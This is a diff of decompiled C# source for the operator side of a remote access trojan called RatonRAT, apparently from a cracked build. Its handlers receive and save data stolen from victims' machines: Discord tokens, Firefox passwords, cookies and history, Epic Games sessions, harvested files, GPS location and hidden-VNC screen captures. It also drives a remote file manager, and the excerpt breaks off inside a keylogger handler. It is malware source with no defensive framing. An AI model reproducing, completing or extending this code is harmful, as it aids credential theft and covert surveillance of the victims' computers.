form.flatComboBox1.SelectedIndex = 0;
|
||||
this.screensSaved = true;
|
||||
}));
|
||||
}
|
||||
|
||||
private void HandleFrame(ratonDesktop form, Unpack unpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] asByteArray = unpack.GetAsByteArray("ImageBytes");
|
||||
if (asByteArray == null || asByteArray.Length == 0)
|
||||
return;
|
||||
Image img;
|
||||
using (MemoryStream memoryStream = new MemoryStream(asByteArray))
|
||||
{
|
||||
using (Image original = Image.FromStream((Stream) memoryStream))
|
||||
img = (Image) new Bitmap(original);
|
||||
}
|
||||
form.BeginInvoke((Delegate) (() =>
|
||||
{
|
||||
lock (form.OneByOne)
|
||||
{
|
||||
form.pictureBox1.Image?.Dispose();
|
||||
form.pictureBox1.Image = img;
|
||||
form.imageSize = new Point(img.Width, img.Height);
|
||||
++form.FPS;
|
||||
}
|
||||
}));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine("Error");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleDeviceManager
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleDeviceManager
|
||||
{
|
||||
public HandleDeviceManager(SillyClient client, Unpack msgUnpack)
|
||||
{
|
||||
if (!(Application.OpenForms["Device manager | Client ID: " + msgUnpack.GetAsString("UID")] is ratonDevice openForm))
|
||||
return;
|
||||
switch (msgUnpack.GetAsString("Type"))
|
||||
{
|
||||
case "Devices":
|
||||
this.LoadDevicesSafe(openForm, msgUnpack.GetAsString("Data"));
|
||||
break;
|
||||
case "Status":
|
||||
this.HandleStatusSafe(openForm, msgUnpack.GetAsString("DeviceId"), msgUnpack.GetAsString("Action"), msgUnpack.GetAsString("Success"), msgUnpack.GetAsString("Message"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadDevices(ratonDevice form, string data)
|
||||
{
|
||||
foreach (TreeNode node in form.treeView1.Nodes)
|
||||
node.Nodes.Clear();
|
||||
if (string.IsNullOrEmpty(data))
|
||||
return;
|
||||
string[] strArray1 = data.Split('|');
|
||||
for (int index = 0; index + 1 < strArray1.Length; index += 2)
|
||||
{
|
||||
string category = strArray1[index];
|
||||
string[] strArray2 = strArray1[index + 1].Split('~');
|
||||
TreeNode categoryNode = this.FindCategoryNode(form.treeView1, category);
|
||||
if (categoryNode != null)
|
||||
{
|
||||
foreach (string str1 in strArray2)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(str1))
|
||||
{
|
||||
string[] strArray3 = str1.Split('^');
|
||||
if (strArray3.Length >= 2)
|
||||
{
|
||||
string str2 = strArray3[0];
|
||||
string text = strArray3[1];
|
||||
string str3 = strArray3.Length > 2 ? strArray3[2] : "";
|
||||
string str4 = strArray3.Length > 3 ? strArray3[3] : "";
|
||||
TreeNode node = new TreeNode(text);
|
||||
node.Tag = (object) str1;
|
||||
node.ToolTipText = $"Status: {str3}\nDriver: {str4}\nID: {str2}";
|
||||
if (str3.Equals("Error", StringComparison.OrdinalIgnoreCase) || str3.Equals("Degraded", StringComparison.OrdinalIgnoreCase))
|
||||
node.ForeColor = Color.Red;
|
||||
else if (str3.Equals("Unknown", StringComparison.OrdinalIgnoreCase))
|
||||
node.ForeColor = Color.Gray;
|
||||
categoryNode.Nodes.Add(node);
|
||||
}
|
||||
}
|
||||
}
|
||||
categoryNode.Text = $"{category} ({categoryNode.Nodes.Count.ToString()})";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private TreeNode FindCategoryNode(TreeView tree, string category)
|
||||
{
|
||||
foreach (TreeNode node in tree.Nodes)
|
||||
{
|
||||
if (node.Name == category)
|
||||
return node;
|
||||
}
|
||||
return (TreeNode) null;
|
||||
}
|
||||
|
||||
private void HandleStatus(
|
||||
ratonDevice form,
|
||||
string deviceId,
|
||||
string action,
|
||||
string successStr,
|
||||
string message)
|
||||
{
|
||||
bool flag = !string.IsNullOrEmpty(successStr) && successStr.Equals("True", StringComparison.OrdinalIgnoreCase);
|
||||
if (string.IsNullOrWhiteSpace(message) || message == "null")
|
||||
message = "Unknown error";
|
||||
string str;
|
||||
switch (action)
|
||||
{
|
||||
case "Enable":
|
||||
str = "enabling";
|
||||
break;
|
||||
case "Disable":
|
||||
str = "disabling";
|
||||
break;
|
||||
case "UpdateDriver":
|
||||
str = "updating";
|
||||
break;
|
||||
default:
|
||||
str = action;
|
||||
break;
|
||||
}
|
||||
if (flag)
|
||||
{
|
||||
int num = (int) Messenger.MessageBox($"Device {str} successful", "Device Manager", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
form.RequestRefresh();
|
||||
}
|
||||
else
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox($"Error {str} the device:\n{message}", "Device Manager", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadDevicesSafe(ratonDevice form, string data)
|
||||
{
|
||||
if (form.InvokeRequired)
|
||||
form.Invoke((Delegate) (() => this.LoadDevices(form, data)));
|
||||
else
|
||||
this.LoadDevices(form, data);
|
||||
}
|
||||
|
||||
private void HandleStatusSafe(
|
||||
ratonDevice form,
|
||||
string deviceId,
|
||||
string action,
|
||||
string success,
|
||||
string message)
|
||||
{
|
||||
if (form.InvokeRequired)
|
||||
form.Invoke((Delegate) (() => this.HandleStatus(form, deviceId, action, success, message)));
|
||||
else
|
||||
this.HandleStatus(form, deviceId, action, success, message);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleDiscord
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleDiscord
|
||||
{
|
||||
public HandleDiscord(SillyClient client, Unpack unpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
string asString1 = unpack.GetAsString("UID");
|
||||
string asString2 = unpack.GetAsString("Token");
|
||||
if (string.IsNullOrEmpty(asString1) || string.IsNullOrEmpty(asString2))
|
||||
return;
|
||||
string str1 = Path.Combine(Program.ClientsFolder, asString1);
|
||||
if (!Directory.Exists(str1))
|
||||
Directory.CreateDirectory(str1);
|
||||
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||||
string filePath = Path.Combine(str1, $"DiscordTokens_{str2}.txt");
|
||||
File.WriteAllText(filePath, asString2);
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) ("Got the Discord tokens: " + filePath), (object) System.Drawing.Color.LightGreen)));
|
||||
Notification.Show($"RatonRAT • {unpack.GetAsString("UID")}\nDiscord stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleEpic
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Stealers;
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleEpic
|
||||
{
|
||||
public HandleEpic(SillyClient client, Unpack rip2pac)
|
||||
{
|
||||
ratonEpic ratonTelegram = (ratonEpic) Application.OpenForms["Epic | Client ID: " + rip2pac.GetAsString("UID")];
|
||||
if (ratonTelegram == null)
|
||||
return;
|
||||
if (ratonTelegram.SillyClient == null)
|
||||
ratonTelegram.SillyClient = client;
|
||||
ratonTelegram.Invoke((Delegate) (() =>
|
||||
{
|
||||
ratonTelegram.label1.Text = "Got the epic game session .zip!";
|
||||
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
|
||||
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
|
||||
ratonTelegram.button1.Enabled = true;
|
||||
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nEpic games stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,148 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleFileManager
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleFileManager
|
||||
{
|
||||
public HandleFileManager(SillyClient SillyClient, Unpack unpack)
|
||||
{
|
||||
ratonFIleManager fileManagerForm = (ratonFIleManager) Application.OpenForms["File Manager | Client ID: " + unpack.GetAsString("UID")];
|
||||
if (fileManagerForm == null)
|
||||
return;
|
||||
if (fileManagerForm.SillyClient == null)
|
||||
{
|
||||
fileManagerForm.SillyClient = SillyClient;
|
||||
fileManagerForm.timer1.Start();
|
||||
}
|
||||
fileManagerForm.Invoke((Delegate) (() =>
|
||||
{
|
||||
switch (unpack.GetAsString("Action"))
|
||||
{
|
||||
case "Drives":
|
||||
Dictionary<string, byte[]> all = unpack.GetAll();
|
||||
fileManagerForm.aeroListView1.Items.Clear();
|
||||
fileManagerForm.aeroListView2.Items.Clear();
|
||||
fileManagerForm.textBox1.Text = string.Empty;
|
||||
using (Dictionary<string, byte[]>.Enumerator enumerator = all.GetEnumerator())
|
||||
{
|
||||
while (enumerator.MoveNext())
|
||||
{
|
||||
KeyValuePair<string, byte[]> current = enumerator.Current;
|
||||
if (!(current.Key == "Packet") && !(current.Key == "UID") && !(current.Key == "Action"))
|
||||
{
|
||||
fileManagerForm.aeroListView2.Items.Add(new ListViewItem(current.Key)
|
||||
{
|
||||
ImageKey = "df0nr8k-b42efd9c-be6b-41c0-9659-817a6d429cbe.png"
|
||||
});
|
||||
Program.form2.AddSuccessLog((object) ("Added the drive " + current.Key), (object) Color.LightGreen);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "Quick":
|
||||
fileManagerForm.aeroListView3.Items.Clear();
|
||||
string[] strArray1 = new string[26]
|
||||
{
|
||||
"Desktop",
|
||||
"Documents",
|
||||
"Downloads",
|
||||
"Pictures",
|
||||
"Music",
|
||||
"Videos",
|
||||
"AppData",
|
||||
"LocalAppData",
|
||||
"Roaming",
|
||||
"Temp",
|
||||
"UserProfile",
|
||||
"Startup",
|
||||
"StartupCommon",
|
||||
"Programs",
|
||||
"ProgramsCommon",
|
||||
"ProgramFiles",
|
||||
"ProgramFilesX86",
|
||||
"ProgramData",
|
||||
"Windows",
|
||||
"System",
|
||||
"SystemX86",
|
||||
"Fonts",
|
||||
"Templates",
|
||||
"Recent",
|
||||
"SendTo",
|
||||
"Root"
|
||||
};
|
||||
foreach (string str in strArray1)
|
||||
{
|
||||
string asString = unpack.GetAsString(str);
|
||||
if (!string.IsNullOrEmpty(asString))
|
||||
fileManagerForm.aeroListView3.Items.Add(new ListViewItem(str)
|
||||
{
|
||||
ImageIndex = 1,
|
||||
Tag = (object) asString
|
||||
});
|
||||
}
|
||||
break;
|
||||
case "Goto":
|
||||
fileManagerForm.aeroListView1.Items.Clear();
|
||||
fileManagerForm.textBox1.Text = unpack.GetAsString("CurrentPath");
|
||||
string asString1 = unpack.GetAsString("Folders");
|
||||
string asString2 = unpack.GetAsString("Files");
|
||||
string[] strArray2 = asString1.Split(new string[1]
|
||||
{
|
||||
"-=>"
|
||||
}, StringSplitOptions.None);
|
||||
string[] strArray3 = asString2.Split(new string[1]
|
||||
{
|
||||
"-=>"
|
||||
}, StringSplitOptions.None);
|
||||
fileManagerForm.imageList1.Images.Clear();
|
||||
fileManagerForm.aeroListView1.BeginUpdate();
|
||||
fileManagerForm.imageList1.Images.Add("foldershit", (Image) Resources.Folder.Clone());
|
||||
for (int index = 0; index < strArray2.Length - 1; index = index + 2 + 1)
|
||||
fileManagerForm.aeroListView1.Items.Add(new ListViewItem()
|
||||
{
|
||||
Text = strArray2[index],
|
||||
SubItems = {
|
||||
strArray2[index + 1],
|
||||
"Folder",
|
||||
string.Empty
|
||||
},
|
||||
Tag = (object) strArray2[index + 2],
|
||||
ImageKey = "foldershit"
|
||||
});
|
||||
for (int index = 0; index < strArray3.Length - 1; index = index + 5 + 1)
|
||||
{
|
||||
ListViewItem listViewItem = new ListViewItem();
|
||||
listViewItem.Text = strArray3[index];
|
||||
listViewItem.SubItems.Add(strArray3[index + 1]);
|
||||
listViewItem.SubItems.Add(strArray3[index + 2]);
|
||||
listViewItem.SubItems.Add(strArray3[index + 3]);
|
||||
listViewItem.SubItems.Add(strArray3[index + 4]);
|
||||
listViewItem.Tag = (object) strArray3[index + 4];
|
||||
Image image = Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(strArray3[index + 5])));
|
||||
fileManagerForm.imageList1.Images.Add(strArray3[index], image);
|
||||
listViewItem.ImageKey = strArray3[index];
|
||||
fileManagerForm.aeroListView1.Items.Add(listViewItem);
|
||||
}
|
||||
fileManagerForm.aeroListView1.EndUpdate();
|
||||
fileManagerForm.aeroListView1.Visible = true;
|
||||
fileManagerForm.aeroListView1.Enabled = true;
|
||||
break;
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleFileSearch
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Stealers;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleFileSearch
|
||||
{
|
||||
public HandleFileSearch(SillyClient client, Unpack rip2pac)
|
||||
{
|
||||
ratonFileEx ratonfile = (ratonFileEx) Application.OpenForms["File stealer | Client ID: " + rip2pac.GetAsString("UID")];
|
||||
int v = rip2pac.GetAsInteger("Progress");
|
||||
if (ratonfile == null)
|
||||
return;
|
||||
if (ratonfile.SillyClient == null)
|
||||
ratonfile.SillyClient = client;
|
||||
ratonfile.Invoke((Delegate) (() =>
|
||||
{
|
||||
ratonfile.label2.Text = $"{v}%";
|
||||
string asString = rip2pac.GetAsString("Path");
|
||||
if (v == 100 && !string.IsNullOrEmpty(asString))
|
||||
{
|
||||
ratonfile.label1.Text = "Got the file stealer .zip!";
|
||||
ratonfile.label1.ForeColor = Color.LightGreen;
|
||||
ratonfile.textBox1.Text = asString;
|
||||
ratonfile.button1.Enabled = true;
|
||||
}
|
||||
else if (v == 100 && string.IsNullOrEmpty(asString))
|
||||
{
|
||||
ratonfile.label1.Text = "No files found.";
|
||||
ratonfile.label1.ForeColor = Color.OrangeRed;
|
||||
}
|
||||
else
|
||||
ratonfile.label1.Text = "Searching files...";
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleFirefox
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleFirefox
|
||||
{
|
||||
public HandleFirefox(SillyClient client, Unpack unpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
string asString1 = unpack.GetAsString("UID");
|
||||
if (string.IsNullOrEmpty(asString1))
|
||||
return;
|
||||
string asString2 = unpack.GetAsString("Cookies");
|
||||
string asString3 = unpack.GetAsString("History");
|
||||
string asString4 = unpack.GetAsString("Passwords");
|
||||
string str1 = Path.Combine(Program.ClientsFolder, asString1, "Firefox");
|
||||
if (!Directory.Exists(str1))
|
||||
Directory.CreateDirectory(str1);
|
||||
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||||
if (!string.IsNullOrEmpty(asString2))
|
||||
{
|
||||
string str3 = Path.Combine(str1, $"FirefoxCookies_{str2}.txt");
|
||||
File.WriteAllText(str3, asString2);
|
||||
this.Log(str3);
|
||||
}
|
||||
if (!string.IsNullOrEmpty(asString3))
|
||||
{
|
||||
string str4 = Path.Combine(str1, $"FirefoxHistory_{str2}.txt");
|
||||
File.WriteAllText(str4, asString3);
|
||||
this.Log(str4);
|
||||
}
|
||||
if (string.IsNullOrEmpty(asString4))
|
||||
return;
|
||||
string str5 = Path.Combine(str1, $"FirefoxPasswords_{str2}.txt");
|
||||
File.WriteAllText(str5, asString4);
|
||||
this.Log(str5);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void Log(string filePath)
|
||||
{
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) ("Got the Firefox information: " + filePath), (object) Color.LightGreen)));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleGeo
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using GMap.NET;
|
||||
using GMap.NET.WindowsPresentation;
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.Windows;
|
||||
using System.Windows.Shapes;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleGeo
|
||||
{
|
||||
public HandleGeo(SillyClient SillyClient, Unpack msgUnpack)
|
||||
{
|
||||
ratonGPS geo = (ratonGPS) System.Windows.Forms.Application.OpenForms["Geo | Client ID: " + msgUnpack.GetAsString("UID")];
|
||||
if (geo == null)
|
||||
return;
|
||||
if (geo.SillyClient == null)
|
||||
geo.SillyClient = SillyClient;
|
||||
geo.Invoke((Delegate) (() =>
|
||||
{
|
||||
string asString1 = msgUnpack.GetAsString("lat");
|
||||
string asString2 = msgUnpack.GetAsString("lon");
|
||||
GMapMarker marker = new GMapMarker(new PointLatLng(double.Parse(asString1, (IFormatProvider) CultureInfo.InvariantCulture), double.Parse(asString2, (IFormatProvider) CultureInfo.InvariantCulture)));
|
||||
GMapMarker gmapMarker = marker;
|
||||
gmapMarker.Shape = (UIElement) new Ellipse()
|
||||
{
|
||||
Width = 12.0,
|
||||
Height = 12.0,
|
||||
Fill = (System.Windows.Media.Brush) System.Windows.Media.Brushes.Red,
|
||||
Stroke = (System.Windows.Media.Brush) System.Windows.Media.Brushes.White,
|
||||
StrokeThickness = 2.0,
|
||||
ToolTip = (object) ("User ID: " + msgUnpack.GetAsString("UID"))
|
||||
};
|
||||
Program.form2.Dispatcher.Invoke((Action) (() =>
|
||||
{
|
||||
Program.form2.AddMarker(marker);
|
||||
Program.form2.AddSuccessLog((object) "GPS added to the world map", (object) System.Drawing.Color.LightGreen);
|
||||
}));
|
||||
geo.label1.Text = "Saved client location to the raton map";
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleHVNC
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleHVNC
|
||||
{
|
||||
public HandleHVNC(SillyClient SillyClient, Unpack msgUnpack)
|
||||
{
|
||||
HandleHVNC handleHvnc = this;
|
||||
string formName = "HVNC | Client ID: " + msgUnpack.GetAsString("UID");
|
||||
ratonHVNC hv = (ratonHVNC) null;
|
||||
if (Application.OpenForms.Count > 0)
|
||||
{
|
||||
Form openForm = Application.OpenForms[0];
|
||||
if (openForm.InvokeRequired)
|
||||
openForm.Invoke((Delegate) (() => hv = Application.OpenForms[formName] as ratonHVNC));
|
||||
else
|
||||
hv = Application.OpenForms[formName] as ratonHVNC;
|
||||
}
|
||||
if (hv == null || hv.IsDisposed || !hv.IsHandleCreated)
|
||||
return;
|
||||
if (hv.SillyClient == null)
|
||||
hv.SillyClient = SillyClient;
|
||||
try
|
||||
{
|
||||
if (hv.InvokeRequired)
|
||||
hv.BeginInvoke((Delegate) (() => handleHvnc.UpdateHVNC(hv, msgUnpack)));
|
||||
else
|
||||
this.UpdateHVNC(hv, msgUnpack);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void UpdateHVNC(ratonHVNC hv, Unpack msgUnpack)
|
||||
{
|
||||
if (hv == null)
|
||||
return;
|
||||
if (hv.IsDisposed)
|
||||
return;
|
||||
try
|
||||
{
|
||||
hv.HVNCWidth = msgUnpack.GetAsInteger("Width");
|
||||
hv.HVNCHeight = msgUnpack.GetAsInteger("Height");
|
||||
hv.HVNCScale = (float) msgUnpack.GetAsInteger("Scale") / 1000f;
|
||||
byte[] asByteArray = msgUnpack.GetAsByteArray("Image");
|
||||
if (asByteArray == null || asByteArray.Length == 0)
|
||||
return;
|
||||
using (MemoryStream memoryStream = new MemoryStream(asByteArray))
|
||||
{
|
||||
using (Bitmap original = new Bitmap((Stream) memoryStream))
|
||||
{
|
||||
Image image = hv.VNCBox.Image;
|
||||
hv.VNCBox.Image = (Image) new Bitmap((Image) original);
|
||||
image?.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleHost
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleHost
|
||||
{
|
||||
public HandleHost(SillyClient client, Unpack unpack)
|
||||
{
|
||||
ratonHosts ratonTelegram = (ratonHosts) Application.OpenForms["Host | Client ID: " + unpack.GetAsString("UID")];
|
||||
if (ratonTelegram == null)
|
||||
return;
|
||||
try
|
||||
{
|
||||
string content = unpack.GetAsString("Content");
|
||||
if (ratonTelegram.InvokeRequired)
|
||||
ratonTelegram.Invoke((Delegate) (() =>
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(content))
|
||||
ratonTelegram.textBox1.Text = "Nothing to see here...";
|
||||
else
|
||||
ratonTelegram.textBox1.Text = content;
|
||||
}));
|
||||
else if (string.IsNullOrWhiteSpace(content))
|
||||
ratonTelegram.textBox1.Text = "Nothing to see here...";
|
||||
else
|
||||
ratonTelegram.textBox1.Text = content;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleInfo
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleInfo
|
||||
{
|
||||
public HandleInfo(SillyClient SillyClient, Unpack unpack)
|
||||
{
|
||||
ratonInformation infoForm = (ratonInformation) Application.OpenForms["Client information | Client ID: " + unpack.GetAsString("UID")];
|
||||
if (infoForm == null)
|
||||
return;
|
||||
if (infoForm.SillyClient == null)
|
||||
{
|
||||
infoForm.SillyClient = SillyClient;
|
||||
infoForm.timer1.Start();
|
||||
}
|
||||
infoForm.Invoke((Delegate) (() =>
|
||||
{
|
||||
infoForm.aeroListView1.Items.Clear();
|
||||
Dictionary<string, byte[]> all = unpack.GetAll();
|
||||
infoForm.aeroListView1.BeginUpdate();
|
||||
int num = 0;
|
||||
foreach (KeyValuePair<string, byte[]> keyValuePair in all)
|
||||
{
|
||||
if (!(keyValuePair.Key == "UID") && !(keyValuePair.Key == "Packet"))
|
||||
{
|
||||
byte[] bytes = keyValuePair.Value;
|
||||
string str;
|
||||
if (bytes == null || bytes.Length == 0)
|
||||
str = "Unknow";
|
||||
else if (bytes.Length == 4)
|
||||
str = BitConverter.ToInt32(bytes, 0).ToString();
|
||||
else if (bytes.Length == 8)
|
||||
{
|
||||
str = BitConverter.ToInt64(bytes, 0).ToString();
|
||||
}
|
||||
else
|
||||
{
|
||||
str = Encoding.UTF8.GetString(bytes);
|
||||
if (string.IsNullOrWhiteSpace(str))
|
||||
str = "Unknow";
|
||||
}
|
||||
infoForm.aeroListView1.Items.Add(new ListViewItem(keyValuePair.Key)
|
||||
{
|
||||
SubItems = {
|
||||
str
|
||||
},
|
||||
ImageIndex = 0
|
||||
});
|
||||
++num;
|
||||
}
|
||||
}
|
||||
infoForm.aeroListView1.EndUpdate();
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the client information", (object) Color.LightGreen)));
|
||||
infoForm.aeroListView1.Visible = true;
|
||||
infoForm.label1.Visible = false;
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleKeylogger
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleKeylogger
|
||||
{
|
||||
public HandleKeylogger(SillyClient SillyClient, Unpack msgUnpack)
|
||||
{
|
||||
